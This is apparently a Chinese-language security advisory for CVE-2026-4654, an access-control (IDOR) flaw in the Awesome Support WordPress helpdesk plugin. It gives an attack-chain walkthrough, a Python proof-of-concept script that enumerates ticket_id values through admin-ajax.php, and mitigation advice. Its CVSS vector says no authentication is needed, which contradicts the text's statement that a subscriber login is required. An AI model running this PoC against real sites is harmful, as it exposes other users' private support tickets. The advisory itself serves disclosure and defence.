IPBUF安全漏洞报告
English
CVE-2026-4654 CVSS 5.3 中危

CVE-2026-4654 WordPress插件IDOR漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-4654
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Awesome Support – WordPress HelpDesk & Support Plugin

相关标签

IDORWordPress信息泄露权限绕过Awesome Support

漏洞概述

WordPress插件Awesome Support在6.3.7及之前版本中存在不安全的直接对象引用(IDOR)漏洞。该漏洞源于`wpas_get_ticket_replies_ajax()`函数未对当前用户是否有权限访问特定票据进行验证。因此,经过身份验证的攻击者(仅需订阅者级别权限)即可通过操纵请求中的`ticket_id`参数,访问系统中所有支持工单的敏感信息,造成严重的数据泄露风险。

技术细节

该漏洞的技术核心在于WordPress插件后端对AJAX请求处理中的访问控制失效。漏洞触发点位于`wpas_get_ticket_replies_ajax()`函数,该函数旨在通过AJAX返回指定工单的回复内容。然而,代码逻辑仅检查了用户是否已登录,却遗漏了关键的一步:验证请求中的`ticket_id`参数所对应的工单是否归属于当前登录用户。攻击者利用这一逻辑漏洞,首先在目标站点注册一个低权限账号(如订阅者),获取有效的认证Cookie。随后,攻击者向`admin-ajax.php`发送带有特定Action(如`wpas_get_ticket_replies`)和恶意构造的`ticket_id`的POST请求。由于缺乏所有权校验,服务器会直接返回目标ID的工单详情。这使得攻击者能够以极低成本遍历工单ID,批量窃取系统内所有敏感的支持数据,严重破坏了数据的机密性。

攻击链分析

STEP 1
1. 信息收集
识别目标站点是否安装了Awesome Support插件,并确认其版本在6.3.7及以下。
STEP 2
2. 获取低权限账户
在目标WordPress站点注册一个普通用户账户(如订阅者Subscriber),获取登录后的Session Cookie。
STEP 3
3. 构造恶意请求
使用Python脚本或Burp Suite,向`/wp-admin/admin-ajax.php`发送POST请求,设置`action`为`wpas_get_ticket_replies`,并遍历`ticket_id`参数。
STEP 4
4. 数据窃取
服务器因未验证权限,直接返回指定ID的工单详情。攻击者解析响应内容,获取其他用户的敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "https://example.com/wp-admin/admin-ajax.php" # Attacker's cookies (obtained after logging in as a Subscriber) attacker_cookies = { "wordpress_logged_in_xxxxx": "your_session_cookie_here" } # The vulnerable action and a target ticket ID to steal payload = { "action": "wpas_get_ticket_replies", "ticket_id": "1234" # Try changing this ID to access other tickets } try: response = requests.post(target_url, data=payload, cookies=attacker_cookies) if response.status_code == 200: print("[+] Request successful. Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Awesome Support – WordPress HelpDesk & Support Plugin <= 6.3.7

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用该插用的AJAX功能,或通过Web应用防火墙(WAF)添加规则,拦截针对`wpas_get_ticket_replies`接口且包含异常`ticket_id`参数的请求。同时,应严格限制新用户注册,减少潜在的攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表